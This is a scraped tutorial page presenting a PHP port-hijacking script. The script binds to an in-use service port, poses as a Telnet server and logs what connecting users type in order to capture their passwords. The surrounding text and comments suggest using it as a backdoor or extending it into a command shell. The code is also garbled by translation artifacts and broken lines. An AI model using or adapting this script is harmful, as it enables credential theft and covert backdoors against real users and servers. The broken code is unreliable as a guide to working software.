Home  >  Article  >  Backend Development  >  Port reuse/hijacking under PHP_PHP tutorial

Port reuse/hijacking under PHP_PHP tutorial

WBOY
WBOYOriginal
2016-07-13 17:31:58789browse

If you monitor 127.0.0.1, access to the public IP will not be affected. If you monitor the public IP, IP addresses such as 127.0.0.1 will not be affected.
This can be used to spoof user passwords because the original service is no longer available. Or leave it as a backdoor for intranet users.
Finally, welcome to add MSN: CQXY[AT]21CN. NET for advice.
#!/usr/bin/php(as the current mainstream development language) -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
if ($argc != 3 || in_array($argc[1] , array(--help,-h,?)))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21 ";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush ();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . " ";
} /*Create SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*Set the attribute of the SOCKET connection to SO_REUSEADDR so that port reuse is possible*/
if ( ($ret = socket_bind($sock, $host, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . " ";
}/*Bind port*/

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . " ";
} /*Start listening*/


while(true) {

if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . " ";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server ";
$txt .="User: ";
socket_write($sniffer, $txt, strlen($txt));
} /*This is disguised information, disguise yourself as the original TELNET server, so as to cheat the password*/

while(true) {

if(($buf _read($sniffer">=@socket_read($sniffer, 2048, php(as the current mainstream development language)_BINARY_READ )) ==false)
{

break;

}

if (!$buf = trim($buf)) {
continue;
}


if ($buf == !quit) {
break;
}
if ($buf == !shutdown) {
socket_close($ sniffer);
break 2; /*In fact, you can call system() here to make it a CMD backdoor. You can change it however you want*/
}

$sniff_data = "$buf ";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*Output string, file processing can be added here , save passwords or something*/
}
socket_close($sniffer);


}
socket_close($resock);
socket_close($sock);
?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508751.htmlTechArticleIf you monitor 127.0.0.1, access to the public IP will not be affected. If you monitor the public IP, 127.0. IPs such as 0.1 and so on are not affected. This can be used to spoof user passwords because the original service is no longer available...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn